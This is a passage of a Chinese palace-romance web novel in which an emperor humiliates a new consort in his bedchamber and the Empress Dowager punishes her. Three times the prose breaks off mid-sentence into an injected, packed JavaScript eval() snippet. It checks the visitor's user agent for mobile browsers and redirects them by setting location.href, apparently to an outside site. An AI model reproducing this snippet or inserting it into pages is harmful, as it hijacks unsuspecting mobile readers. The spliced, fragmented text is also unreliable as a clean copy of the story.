难道真是喜欢? 不可能。闻寻最是记仇之人,且看他刻意给流萤安排在闹鬼的银汉宫就知道了。 饶是如此想,贤妃还是试探性地小声劝阻两句,“皇上今晚不陪陪皇后吗?太后晌午才吩咐尚食局做了八珍月饼送到凤仪宫,等着您跟皇后一起享用呢。” 此刻除了搬出太后,再没别的办法。 闻寻虽不是太后亲生,但其生母出身低微且早亡,自六岁被抱养在太后膝下,对太后就唯有言听计从。即便如今位极天子,前朝后宫,也皆由太后为他保驾护航。 闻寻听了贤妃的话并未有所动,只是眼色渐渐如冰窖般沉了下去,继而冷言道,“你陪她吃了,也不算浪费。” 说完便要甩袖离开,瞥见流萤仍杵在原地纹丝不动,心中那股威严不得施的滞气便如同被雷霆击中的湖水,顷刻间激荡开来,一发难收。 狠狠射向流萤,那阴鸷眼神仿佛在说,若再不跟来,就叫她死无藏身之地。流萤别无他法,只得硬着头皮跟上,仅管她一千个、一万个知道,此去定是九死一生。 她看得出,闻寻绝非是想要她才叫她跟着回去。那不是男人看心仪女人时应有的情潮荡漾,而是对阵敌人时,假意说握手言和、实则背后早已拿稳了刀子的阴谋诡象。 只是流萤不懂,闻寻对自己的恨意究竟从何而来? 难道仍对拆穿他猜数侍寝一事上的花招耿耿于怀? 不禁暗自冷笑。堂堂一朝天子,终日无所事事,只盯着琐碎锱铢必较,这个皇位给了他还真是暴殄天物。 一路紧跟那顶明黄黄的轿子,闻寻在里面舒舒服服坐着,流萤却在外头步履窘迫,勉强不算掉队。 轿撵终在一道漆红宫门前稳稳停下,这门比她见过的都要宽大醒目。抬眼望竟是雄浑有力的三个大字“紫宸殿”,这不是闻寻自己的寝宫吗? 知晓并非带她去甘泉殿侍寝,流萤心里突然松了口气。甚至以为方才一路来的狼狈就算是发泄了,便站在门口等着闻寻罚她再自己走回去。这儿跟银汉宫可是一南一北呢,若换一般的娇气女人,脚底必然要磨出几个血泡来不可。 “等着朕请你吗?” 闻寻只身进门,不回头质问道。 如松身影被银色月辉拉长,散发出不容拒绝的冷厉。流萤心里刚刚松开的那口气又倏地提紧,仿佛再紧一寸就能扼制呼吸。 侍寝只在甘泉殿,后妃无要事不得进入紫宸殿。贤妃的训话仍萦绕在耳畔,闻寻这招也太毒了吧?自己泄愤不算够,还要带上贤妃一并拿宫规惩治她? 流萤突然意识到,比起探索闻寻喜欢什么样的女人,早日把他对自己的这股苛刻憎恨压下去才是当务之急。不然什么美人计都是白扯。 大步流星跟上进了主殿,一股复杂的龙涎熏香即刻飘散而出。那味道很像浮在海上的断木,深沉、苦涩,还带着海水特有的咸味,让人喜欢不起来。 流萤轻移莲步,悄悄远离那尊燃着的青铜香炉,站到西墙挂画下。墨香残留,正抵消了不少龙涎香的气味儿,不免斜眼打量起来。 画上有浓重的墨从顶端倾泻而下,层层叠叠,不断营造出起伏的山峦和缭绕的云雾,沉郁而深远,一直流到底端……嗯?底端的那个刻印好生眼熟。 流萤定睛细看,竟跟甘泉殿那幅春宫图出自同一人之手?! 这个子诀究竟是何名家,怎么一点名号没听说过呢? “没人教过你怎么伺候朕吗?” 凛然声线毫无预兆闯入,激得流萤震惊飞走的思绪顷刻回笼。抬眼见闻寻正微张双臂,唇带讥诮面向自己,她忙深吸口气,提步走到闻寻身前,着手去解他腰间的玉带。 这是主子等待奴才宽衣解带的标准姿势。 闻寻不会又要罚跪她整晚、自己去睡觉吧? 心里想着事儿也不耽误手上动作,绸缎的料子很滑、很好脱,闻寻身上转眼就只剩下素白里衣,流萤收了手准备退到一旁,不料当头砸下的又一命令却硬生生滞住她的脚步。 “都脱了。” 幸而琉璃盏立在闻寻身后,有如松身躯遮挡,凭火光再摇曳也映不出她面上的窘迫赧然,可爬到脸上渐渐升起的温度却没人比她更清楚。 不慌,不慌,早晚有这一天,宋婆子都教过的。对,没错。顺从、迎合、最后再反客为主…… 流萤一边安慰自己即将面临的事儿,一边颤着手去够近在咫尺的微敞衣领。 指尖碰触到一片冰凉,不知是闻寻寒凉如玉的胸膛,还是自己紧张骤下的体温,但都让她不自觉蜷起手指,却在下一秒被另一只更加冰霜彻骨的手蓄意攥住,裹了个严实。 “脱你自己的。” 戏谑凉薄的鼻息扑在耳侧,流萤有一瞬间没反应过来。直到更加锐利的嗤笑,长针似地扎进耳朵,她才终于明白了闻寻今晚所为何意。 咯噔一声响,被嘲弄的羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339253|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辱感从心底积蓄燃起,火势之快,顷刻便蔓延至全身,抵消了那股难融的寒意,也彻底冲散了她心底的畏惧。 流萤虽然十分明白进宫的使命,也清楚知道自己最终想要的是什么。舍多大、得多大。既选择做了闻寻的妃子,她就不会抗拒与闻寻行云雨之欢。 可她也是清清白白的女子,凭何要用勾栏狎妓那一套侮辱她? 呼吸随怒气愈发凝重,连同浮于鼻尖的难闻龙涎香,险些带她回到那个不堪入目的夜晚……“还敢咬老子?!把这个小蹄子扒光赏给弟兄们,看她还厉害个什么劲儿!”腌臜龌龊的男声仿佛还罩在耳畔。不!没人能够伤害她。从前不能,现在也不能! 流萤极力咽下胸中怒火,强忍着交由仅存的理智占据上风。纵使他们一样下流,但眼前人手握真正的生杀大权,不可像对待粗鄙井民那般。 但她也不是任人捏的软柿子,从来都不是。 再次抬眼,那猩红微扬的眼角里已满是不屈。甚至反挑起一抹恣睢玩味,好似立了志要跟闻寻斗到底。 继而用力挣开那只手的禁锢,开始一件件解下自己的衣裳。 闻寻不就是想羞辱她、想看她跪地求饶吗?那可太小看她那颗坚若磐石的心了,从前不懂屈服,如今更不会低头。而且这对流萤来说,不过是岁月磨砺中太小的尘埃一片,只如细风过马耳,根本不足以动摇分毫。 她的身体她自己说了才算,只要掌握回主动权,她脱下的每一件衣裳就都是胜利者的施舍。 谁说侍寝一事只能由皇帝取乐? 闻寻凝视着她眼中闪烁的火光,不停随身上动作起伏跳跃着,坚毅又刺眼。宛如幽暗秘境里野蛮生长的花,攀着藤蔓疯狂向上,势要开到天际去。 这不是他想看到的。 他讨厌这种目光。 猛地抓住流萤肩膀,往旁边狠力一推,好像这样就能推掉那股跟随他二十年、已啃噬遍他全身的颓败与不甘。 “皇上若不要嫔妾侍寝,大可放嫔妾回宫。” 流萤没料到闻寻竟如古壁残垣般一触即溃,不禁生出好笑。兀自揉揉吃痛的肩膀,还想再添一把火,可嘴刚张开,冲下来的却是闻寻凶猛肆虐的亲吻。 仿佛被怒火催动,铁钳般的手指死死钳住她的下巴,封住了所有退路。 闻寻的吻来势汹汹,如同狂风暴雨下卷起的惊涛骇浪,凶险而激烈,目的就是要摧毁海上一切。 他没有的那种光芒四射,也不要从别人眼里看到。 狠狠压在柔软唇瓣上啃噬、撕咬,是惩罚、是宣泄,更是带着杀意的决绝。流萤就快被夺走呼吸,仅存的意识驱使她不断挥手抵抗,可没人能拉得住失了控的狂狮,闻寻狠力一拽,就将她整个身子都锢进自己怀里。 此刻,他便是那根结实带刺的藤蔓,紧紧缠绕在流萤身上,不准她独自开出深渊。 “记着,永远只有我不情,不允许有你不愿!” 8. 等你求我 其实流萤生疹那日,闻寻本还想传见她,可内侍监说她因病撤牌一个月,这才从剩下两个新人里挑了汪芷柔的牌子,只因她白日找过流萤。 闻寻对流萤生疹一事起疑,不禁想起前夜在她身上嗅到的那股辛烈奇香。怀疑流萤偷偷抹了异香毒药想要谋害他,结果没碰到他身,反误伤了自己。 大兴祖制规定,为皇权真正牵制地方,各封地必须择送要员亲眷选作秀女充入后宫。流萤身为渭州刺史唯一嫡女,自出生那刻起,就只等着及笄进宫。 然被太后贬去陇西当郡王的三皇兄又一直与流萤父亲颇有交集,难保他不会将报复心思放在未来必定要进宫为妃的流萤身上。论比狠,他可一点不比太后手段差。 是以,闻寻坚信,陇西来的必不可能是无辜之人。 而且就算他们之间真的没有关系,闻寻也会把对三皇兄的恨加诸于流萤身上。还是那句话,要怪就怪她自己生错了地方。 可近了汪芷柔身,闻寻竟也闻到了那股相似的玫瑰香气,一问才知是甘泉殿宫女新换了泡浴用的花瓣。遂翌日又传唤来孔映欢侍寝,终确定了不是汤浴的问题。又等三日,二人依旧毫无异样,他便万分肯定,红疹一事完全是流萤自己在捣鬼。 主动撤牌子一个月…… 她在躲朕? 知道怕了? 不,那晚直到出门前一刻她都没对自己求过饶。 独坐黑夜中的闻寻漠然转动手中木盒,里头沉闷的撞壁声若隐若现。这原是不多不少整一盒的东珠,被她打翻后,莫名就缺了两颗。 他本是满意找到了名正言顺惩治流萤的理由,却偏要耽搁一月之久,越想越气,并且越想越觉不对。 猜数侍寝确是他推脱的幌子。那些送来的纸条闻寻从未打开看过一眼,每次都是随口说个还记得的名字给内侍监,而且只说一个。 若非前不久太后叮嘱皇后就快及笄,不可再像妹妹一般对待,合该有点正常夫妻的样子。闻寻也不可能接连传人侍寝故意跟太后做对,甚至起了兴致,想亲自拆开堆满桌面的锦袋。好巧不巧,拿的第一个便是看了更让人火冒三丈、出自流萤之手的锦袋。 闻寻默念着她故意写错的“三十二”,眼底光亮渐渐消失,唇角也向下垂出一抹不易察觉的冷峭。 他竟不知,宫里还有不想要他宠幸的。 很好!那就玩点不一样的。 …… 流萤努力吸着来之不易的新鲜空气,顾不得细想闻寻那句没着没落的话,只当他是又犯了疯病。 中秋的夜开始转凉,风从青石砖地卷过,带起阵阵寒意,直往人身上扑。流萤缩缩脖子,抬手想要紧紧领口,却只摸到冰凉一片,低头看,原是她身上早已只剩一件齐胸小衣。 平复下心绪,她其实已没那么紧张。再大的风暴也总有沉静下来的时候,现在要做的就是等待。等待闻寻撵走她,或是继续要了她。 不过流萤算漏了一种可能。 闻寻把她从角落里拽出,裹在身上的黑暗即刻被清冷月辉取代,映衬出她黯淡的面容,只留鼻梁上一点深邃红痣,随清浅呼吸微微浮动,倒别有一番惹人疼惜的韵味。 闻寻立着手背,缓而慢地滑蹭她的侧脸、下颌,直至拇指指腹完全覆上那个刚被自己索取过、依旧殷红发肿的嘴唇,细细摩挲,意犹未尽。 流萤这张脸无疑是美的,明艳如炽阳下的璀璨宝石。但美丽背负代价,除了自赏,落入他人眼中就只剩涂满朱砂的催命符罢了。 流萤这次没有躲,只撇过脸耷拉肩头,选择忍下眼前人毫不掩饰的嘲弄。闻寻有句话说得对,蚍蜉撼树,现在确实还不是时候。 任由闻寻抱她走向床榻,腾空瞬间,两具冰凉身子相撞的冲击感,将所有感官都放大了数倍。 比如咚咚作响的心跳,就在寂静的夜里格外清晰。流萤数着节拍,不知是自己的,还是闻寻的。直到耳畔若有似无的鼻息搔得她难耐轻颤,才发现那依旧坚实的心跳并不是由她发出的。 他们竟离得这样近。 一时间,流萤只觉无论此前涌现的多少倔强、不甘,此刻都化作空洞、茫然。她极力想把这次只当做必须完成的任务,极力想记起宋婆子教的那些能让男人刻骨铭心的诀窍,可脑海里终归只是一片空白。 坚韧如她,第一次也会紧张。 她看见床柱旁的琉璃盏倏地熄灭,看见闻寻扯掉里衣露出精瘦的腰身。欺身下来,又像极了壁上挂画里那座浓墨的大山,沉重、贴紧,不留一丝缝隙。 身下冰凉滑腻的缎面,也被渐渐升起的体温融化。流萤不由自主地想朝那片温暖挪动,却被闻寻抢先一步,贴着她身子蹭下去,躺进了床榻的里侧。 心口上没了压迫,就连突然被释放出来的空气都骤然变冷,惊醒流萤沉闷的意识。 他…… “睡觉。” 冰冷一声响,铁链般的手臂也紧跟下来。 锁住她的腰身,一把就将平躺着的她、揽进比床榻还坚硬的怀里。 流萤不敢相信,闻寻竟就这么放过她了? 难道吵累了?没兴致了? 那为什么不放自己走呢? 思绪纷杂,流萤整夜未眠。 沉沉压在腰间的那只手,更像被施过符咒,禁锢住她的所有动作。翻不了身、下不了床,只能朝一个方向干眨眼。 流萤心里很不是滋味。 这种感觉就像是将士们为了迎战,不分昼夜,擦亮了抢、磨快了叨。 兴冲冲s到敌人面前,对方却耍赖要改日再战。 幸而还有怜悯的月光作伴,让她可以数遍床柱上雕刻的六十几条飞龙,可以看遍帷幔上绣刺的上百朵祥云。 甚至连闻寻手臂上那个很浅很浅的月牙状疤痕,都看得一清二楚。 直到天色渐青,窗棂下缓缓投射出愈见清晰的方胜纹影,身后男人才低口今出声,像是睡了个好觉。 就连压她整晚的那只手,也终于往下移动了两分,流萤以为折磨要结束了,便也扭了扭僵硬的身子。 可她庆幸得太早,闻寻的手仅仅是重新调整好角度,为了将她往回搂得更紧。 突如其来的这一下激得流萤倒吸了一口凉气,险些惊呼出声。身体也重新架上戒备,本能挣扎起来,却听耳后传来一声低沉,“别动。” 那声音掺了一丝起床气的沙哑,倒不比平时阴戾。 流萤小心停下动作,却未卸下警惕,依旧僵着身子、抵靠在另一具也略显僵硬的身体上。 许是锦衾里还残留了一夜的温度,即使贴紧在冰皮冷骨的闻寻身上,流萤也不觉得太冷。 甚至有些温暖,尤其是腰际的位置,好似更加灼、热…… 流萤瞬间想到了什么,犹如蚂蚁爬过的异痒感,瞬间如芒在背。 咚、咚、咚 一下下跳动的,不止是心脏…… 她知道闻寻为何叫她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339254|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别动了。 良久,火热消散,沉重而克制的呼吸声也归于冷淡。 闻寻这才拿起一旁的织锦靠枕狠狠砸向门框,示意外头的宫人赶紧滚进来伺候。 流萤也似乎想明白了什么。不动声色侧转过头,悄悄瞄了闻寻一眼。 宫人们动作很快,像是早就等着这道命令一样。 尤其走在最前面的林保益,他是一直跟在闻寻身边的大太监。流萤见过他两次,半白鬓角总被冠帽压得一丝不苟,说气话来还有恭敬又标准的浅浅笑容挂在脸上,一看就是深谙礼仪之道的老滑头。 “给贺才人请安,待您稍事修整好了,老奴送您回银汉宫。” 流萤却不急着接话,兀自背过身去佯装调整发饰。如果她猜得不错,闻寻应该还有别的花招,不会这么轻易放她走。 果不其然,闻寻紧接着便开口了。可招数却比她预计的还狠、还差劲。 “她就在这儿待着,省得晚上折腾。” 什么?他没听错吧,皇上今晚竟还要留贺才人侍寝?而且还是在这明令禁止的紫宸殿?林保益惊讶得险些忘了规矩,抬眼便要询问。 紫宸殿是皇帝寝宫,处理日常政务也常在此处。是以太后三令五申,嫔妃绝不可来此魅上,更别提侍寝留宿了。林保益忍不住多看流萤一眼,想知道这小妮子到底使了什么手段,能把向来不喜女色的皇帝迷成这样? 可迟迟等不到闻寻收回成命,林保益心中立即警铃大作。害怕太后知道了会责骂他没看住皇上,唯有大着胆子,讪笑提醒道,“皇上,这……这不符合规矩啊。” 边说还边给流萤使眼色。好像在说,如果不想被太后处死,就赶紧自己走吧。 流萤却跳过他给的信号,瞥了眼前方只顾宫女更衣、对林保益劝阻置若罔闻的闻寻。更加坚定自己的猜想。 一切皆源于她最初的肆无忌惮。戳破了闻寻在猜数侍寝一事上打的幌子,帝王威严被践踏,必然恼怒憎恨。可这事儿本就是闻寻做得不光彩,无法光明正大惩罚自己,便想将火力转移,做出她隆宠加身的假象。 好让太后贤妃借由宫规惩治她,让宫里所有的女人嫉妒她、报复她。流萤只是五品的才人,宫里随便拎一个出来,单凭位份都能打压得她招架不住,更别提被妒意冲昏了头脑,使的招式只会更狠辣。 不脏自己的手就能把气出了,这样诱人的法子,用来解隐晦的心头之恨再好不过。 而闻寻不碰她,完全在跟自己较劲。就像今早,他宁愿强忍身体的反应,也不愿勉为其难向自己索取,合是看她不爽、觉她不配。 “皇上恕罪。”流萤忽而放软了嗓音,摆足了诚惶诚恐的模样。 “若是嫔妾伺候不好惹恼了您,这就自行回宫反省去,无召不出。只是还请皇上不要吓嫔妾,错一次也便罢了,再知错不改,嫔妾还有何脸面在宫中立足?就算您怜惜,太后她老人家也不会饶恕嫔妾的啊。” 林保益瞧了眼说着说着就红了眼眶的流萤,也连忙跟着点头附和,希望闻寻赶紧把她送走。别真惹恼了太后,谁也好过不了。 可闻寻却从未想让此事轻易平息。尤其是等他闻声转过来,看见跪在地上惺惺作态的流萤,眸中杀意更是藏不住半点。他还不知,这女人竟如此会演戏! 无召不出? 以为这样就能躲得掉? 他非要让流萤求自己宠幸她不可! 立即眼带讥诮,“你走一个试试。” 9. 太后之惩 喏,大殿里这么多人可都听见了。流萤可是知道这样不对的,但皇上偏要扣押她,怎么求都没用。日后太后要罚,也得轻点。 可一众奴才就没那么轻松了,全苦着脸面面相觑,仿佛背上曾因皇帝跟太后顶嘴而让他们集体被杖责的伤口仍在隐隐作痛。 林保益领着流萤一路到了西偏殿,虽然言语上听不出多不待见她,但那一闪即过的看瘟神似的眼神还是被她精准捕捉到。 全紫宸殿上下都没有一个想要巴结她这位“新晋宠妃”的,足可见太后在这群人心中的震慑力悍然。 换句话说,他们怕太后、远怕过皇帝。 宫人先将西偏殿里堆在书案上的书书册册尽数搬走,才留她在里头自娱自乐。 四壁疏远,地砖反光,空旷却不贫瘠。仅是立在书案后紫檀木雕花的博古架,就琳琅错落摆放着许多精巧小盒子,一个个都仿佛闪着金光在向她招手,跟吝啬的闻寻一点不相像。 她本以为闻寻会赏赐些金银珠宝,或者破例给她晋一晋位份,这才是实打实、能引起旁人妒恨的东西。可闻寻实在太小气,只肯给她多留一晚的虚荣。 徐徐走过去,点兵点将似的挑中一个打开。是枚色泽纯净,质地细腻的黄玉无字牌,想来还未琢磨好雕些什么能配得上这块儿料子吧。流萤掂在手里,不免有些心动。 可能是名字的原因,流萤对黄色的东西一向颇有好感,衣裳也尽爱挑杏黄、鹅黄的穿。她很希望这块牌子能变成自己的,那样就可以找工匠雕出记忆里最美的那个画面,上头是闪闪发亮的萤火虫,下头是潺潺而流的清河。 西偏殿没有那股难闻的龙涎香,只有阳光射进空气的尘埃味儿,像是不常待人的样子。旧旧的,轻轻的,却足以让流萤感到心安。她把玩着无字牌若有所思,松懈的目光落在透亮莹润的牌面上,映着柔和光线,竟渐渐显现出她脑海里斟酌的计划。一字一雕,仿佛真的被刻印了上去一般。 流萤不惧怕闻寻设的这个局,相反,她倒很愿顺着闻寻的意,坐实宠妃的名号。 太后平日深居简出,除了两个侄女其他一概不见,就连皇帝也是有要事相商才会叫到跟前。然王爷交代她最为首要的任务,便是找出太后篡改先帝遗诏的罪证,若能拿到真正的遗诏更是佼佼。 是以在发现闻寻意图之时,流萤就已然想好,离了这儿便直接去慈安宫叩门请罪。方才那一番害怕惹恼太后的说辞也是为此铺垫,她万不能错过这个一探慈安宫的机会。 浑浑一天,夕阳终于欲坠,流萤搬来椅子独坐窗前。欣赏天空由蓝转紫,渐渐沉入深黛之色,欣赏天际那一圈似被轻纱遮掩的微光,一点点挣脱束缚,完整展现在幽深夜幕之上。 昨日未赏的月,今日正好补上。 流萤的自我修复能力一向很好。她是死里逃生过的人,早在重见光明的那一刻,便决心了往后的日子定要不枉人世走一遭。或许没人能理解为何她常对生活抱足希望,但定会有人嫉妒凭什么偏她能凡事都自洽如常。 十六的月,宛若洁白无瑕的玉盘,连同映下的光辉都带了一方纯净、一丝温柔。直到闻寻漆黑的身影徐徐显现,才打破了这片宁静。 他的身影几乎与周围的黑暗融为一体,只有微风拂过,才能隐约捕捉到衣角的摆动。他的面容也被夜色吞噬,只剩一双吸收了清冷月光的眼睛,幽深凛冽,一点点朝她逼迫而来。 流萤不想起身,仍坐着望向窗外,佯装没有看到他。反正也没太监通报。不料闻寻却像是能透过黑夜看破她的心思,没走两步便放弃通向正门的路,径直朝她这扇窗户走了过来。 “不想看到朕?” 闻寻身量很高,挺拔如松。他站在窗外,恰与撑在窗台上托腮的流萤齐头。轻而易举就挑起了她的下巴,勾勾手往自己面前凑近几分。 “可朕想看到你。” “很想。” 指腹下,丰盈小巧的唇瓣似有颤动,原来她的饱满并非因自己吻过。好在那双琥珀眸子里流转出了他想要的惊异光彩,只是若再多些恐惧、不安,才再好不过。 夜里很黑,但难掩闻寻眼尾挑起的玩味。像是夜空中唯一闪烁的寒星,孤高、深邃,纵使流萤讨厌他,可一旦对上了还是很难移开眼。 “皇上听过‘十五的月亮十六圆’吗?” 流萤并没有趁闻寻错愕的间隙抽回下巴,反而借着窗台的撑力,将整个身子往外探出一些。不多不少,刚好够她一伸手就能碰到闻寻的脸。 玉指如兰,轻点在闻寻微凉挺俏的鼻尖,稍稍用力,就带着那张冷毅却不失警觉的脸偏转过去,一起望向那轮高悬于天际的月亮。 当然,是闻寻在看月,流萤在看他。 他确实有着一副让人艳羡的好皮囊,比流萤见过的所有男人都好看。也包括被陇西贵女争着抢着要嫁的王爷。 真是可惜了。 流萤此番举动并非是要再次挑衅他,而是清楚傲慢如闻寻,今晚也不会放低姿态对自己做什么。 太后那边注定是血雨腥风,就算流萤再顽强,也遭不起背腹受敌。闻寻对她左不过是男人尊严与面子的问题,大丈夫能屈能伸,自己暂且退一步并不会少块肉。 而且她终归要靠闻寻这棵大树才能得到自己真正想要的富贵和荣华,怎好一直敌对下去。 微风吹起几缕碎发,刮到眼角痒痒的。 如流萤所料,闻寻这晚依旧没碰她。二人同榻而眠,中间却似隔出银河。闻寻甚至连里衣都未曾脱掉,只在天际刚刚露白的那一刻撵走了她,干脆、利落。 流萤裹着清晨的霜气赶到慈安宫,疾走的细汗浮在身上,稍一停下来,当即转化为浸骨的寒意。 崔嬷嬷冷着脸叫她跪到慈安宫外头的墙根底下去,说是太后的旨意。“贺才人想必还未来得及吃上一口月饼吧,这是太后娘娘赏你的。” 崔嬷嬷喂狗一样扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339255|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给流萤两块月饼,饼皮儿早已风干开裂,轱辘几圈到她身前,掉落一地面渣。 流萤动动唇,捡起了混着土的月饼。莫说慈安宫,就算是无人在意的银汉宫门前的甬道,也从未有奴才敢偷懒不杂扫的。看来太后真是等她许久了啊。 有崔嬷嬷在旁盯着,流萤只能硬着头皮吃下满嘴的泥沙。 砂砾硌牙,刺激着痛感神经直连达头顶。她不敢咀嚼,每一口都必须顶着粗糙砂纸磨嗓子般的痛楚囫囵吞下,疼得她连举着月饼的手都跟着不住颤抖。 这正是中秋夜太后吩咐人送到凤仪宫的八珍月饼。看来,比起皇帝罔视宫规的恩宠,太后更在意的,是有人胆敢下了皇后的面。 “呦,还真是凡事儿都禁不住念叨。娘娘您快瞧,那不正是皇上心尖尖儿上的贺才人吗?” 尖酸的嗓音从背后响起,然流萤是负罪之人,不敢轻举妄动。只能在脑海里快速搜寻着,这个声音她听过……是关充媛? “还以为贺才人不知道宫规纪律呢,凭你多大的胆子也敢到紫宸殿魅上,一会儿定要叫太后她老人家好好教训教训你!” “行了,先进去拜见太后。” 确是关采曼。还有贤妃。 她们二人是交好的吗?王爷没说过呀。流萤一边思索一边艰难咽下月饼,不知不觉已过了辰时。 日头开始斜照,照在瓦檐上,消融了凝结一晚的露珠,不偏不倚,正滴落在流萤的脑门上。清脆一声,随之而来还有清脆无数声,滴滴答答,落在她的脸上、肩膀上,很快就晕湿一片。 可唯独照不到宽大瓦檐下跪着的她。 顺墙射下的铺盖一样大的阴影,将流萤和暖阳完全隔绝,明明只有一步之远,却整整隔出了一个夏、一个冬。 真是折磨人的好手段。 这样跪一个上午怎么着也得风寒一场,若倒霉跪上一整天,恐怕这受了凉的膝盖也就不用要了。 “崔嬷嬷,”流萤努力噎下最后一块月饼,因疼痛挤红的眼眶,此刻刚好能当做她知错认罚应该有的悔意。 “之遥知道自己犯了大错,还请嬷嬷带我进去见一见太后娘娘。之遥想当面认错,至少叩几个头,给太后娘娘舒舒气也好啊。” 任流萤说得再诚心诚意,崔嬷嬷只管冷笑讥讽。当惯了太后的爪牙,一个小小才人,她还真没放在眼里。 “贺才人抬眼看看这门上是什么字?慈安宫可不是你想进就能进的,太后肯留你跪在宫门外,都是你的福气。” 说罢转身就要回去,临走到朱门口,还冲一旁把守的太监厉声道,“看好她,倒下一次就换你们来跪!” 流萤盯着地面上自己的缩影,从长变短,再从短变长,真就一动没动过。 把两个小太监都看楞了,饶是他们这种跪惯了的也做不到,再看久了就不免觉得有些可怜,哪儿还有个主子的样子。真真应了那句话,要想活到出宫,惹谁也别惹阮家人。 10. 找到关窍 而流萤之所以这么坚持,一是明白偷懒只会换来更狠的惩罚,二是她天生身子骨就硬。 她才不甘心就这么一直面墙而跪,仍思忖着法子想要进到慈安宫里头去。身后平静的甬道再次传来踢踏杂乱的脚步声,又是谁来找太后告状来了? “给贵妃娘娘请安。太后有旨,请您直接进正殿等候,这便随奴才进去吧。” 贵妃怎也有这个闲心? 流萤一时想不通,贵妃不是碍于贤妃背后的压力向来避世的吗?直到一刻多后,那扇朱红大门再次开启,贵妃随着贤妃和关采曼一并而出,流萤才渐渐想明白了其中关窍。 “瞧瞧咱们贺才人,”关采曼啧啧两声讥讽,“罚跪也得把盈盈细腰立住了,皇上又不在,不知做那个狐媚样子给谁看。” “本宫可警告你,莫要再去魅上。倘若再作死连累两位娘娘挨训诫,本宫就要亲自动手教教你宫规为何!” 边说边狠狠往流萤肩头戳了一指头,却没把她戳倒。瞬间怨念之气翻涌,竟直接改为用双手推。还是贤妃一声令下,才极其不愿收回了手。 原来贵妃是被太后叫来挨骂的。 流萤不禁怀疑闻寻果真不是太后的亲子吗?怎么暗地里阴人的招数都如出一辙呢。祸水东引、借刀杀人。招招式式,信手拈来。 太后平日里只准贵妃与世无争、形同虚设,训起话来却是治她协理后宫无方之罪,把贤妃的过失也推卸给她。不就是想让贵妃也因此记恨上害她无辜被骂的流萤吗? 原还说复仇不过是王爷和太后等人的家事,岂料一月未到,自己竟也深陷泥窝不好自拔。 “行了,别在这扰太后清静了,先随本宫回承德宫。”贤妃斥责关采曼两句,才转对贵妃请她也一并过去坐坐。 “太后意思我已明白,便不去叨扰了。”贵妃婉拒,语气既平又淡,并非不善,却也跟中秋宫宴上含笑和顺的样子一地一天。 流萤偷偷翻了个白眼,她这回可算是把宫里有头有脸的都得罪完了。 贵妃说完便走,贤妃没再挽留,叫上流萤也准备回了。不同于关采曼的咄咄逼人,贤妃丝毫没有嘲讽流萤,反而端足了正宫娘娘才有的度量和气势,语气里甚至还隐隐透了点儿同情。 可当流萤察觉到她乘坐的四人抬轿撵比平日所见快上几分之时,流萤才明白贤妃想折磨自己的心一点不比旁人少。她阻止关采曼奚落自己,也不过是怕在奴才面前跟着一起失了身份。 从地面站起的时候,流萤甚至感觉不到双腿的存在。整个人像漂浮在海面上,冰冷的浪打来一次,她就跟着往前涌动一次,完全不知道下一脚会迈向何处。 忽然想起中秋夜也是这样跟着闻寻的轿撵跑,不禁嗤笑,这俩人还真是师出同门。仅管流萤极力不想掉队,可受了凉的膝盖就跟针扎似的,走不快,还是落出好远。等她强撑着进了承德宫大门,贤妃二人的润喉茶都快喝完一半了。 “其实本宫也知道这事儿怪不上你,但紫宸殿不比别处。你可知,若你再多待一天,前朝大臣就能劾奏皇上荒淫无度、误事误国。” “嫔妾知错,请娘娘责罚。” 迎头一顶这么大的帽子扣下来,流萤唯有乖觉配合贤妃的“善言”劝诫,顺势挤出满脸的懊悔与惶恐,希望少受些皮肉之苦。 “太后念你也曾劝阻过皇上,算是知晓规矩的,这次暂且从轻发落。从明日起去凤仪宫门前,每日跪三个时辰,跪上三天便算完。你得记着,皇后是后宫之主,虽说年纪小些,但咱们都得抱有崇敬之心。” 说到皇后时,贤妃明显加重了两分语气,“至于你连着跪那么久……” “嫔妾自小体弱,想来是受不住的,还请娘娘准许嫔妾找太医署拿药疗养,彻底养好之前绝不再出宫乱窜。尤其是像御花园那样人多的地方,定离远远的,万一磕了碰了谁更是不好。” 贤妃似乎很满意流萤的回答,品了口茶略嗯一声,“不枉本宫方才在太后面前帮你说话,确实是个通透的。” 说到底,就是不让流萤再见闻寻。 但流萤仍有困惑。若按宫规明令禁足半年,不是更能绝了她做宠妃的路吗?为什么还要留有余地呢?难道是在乎闻寻的感受吗? 直到次日她真的在众目睽睽之下跪到凤仪宫门前,才觉出太后这招原是奔着闻寻而来。 她完全是代闻寻、在向皇后请罪。 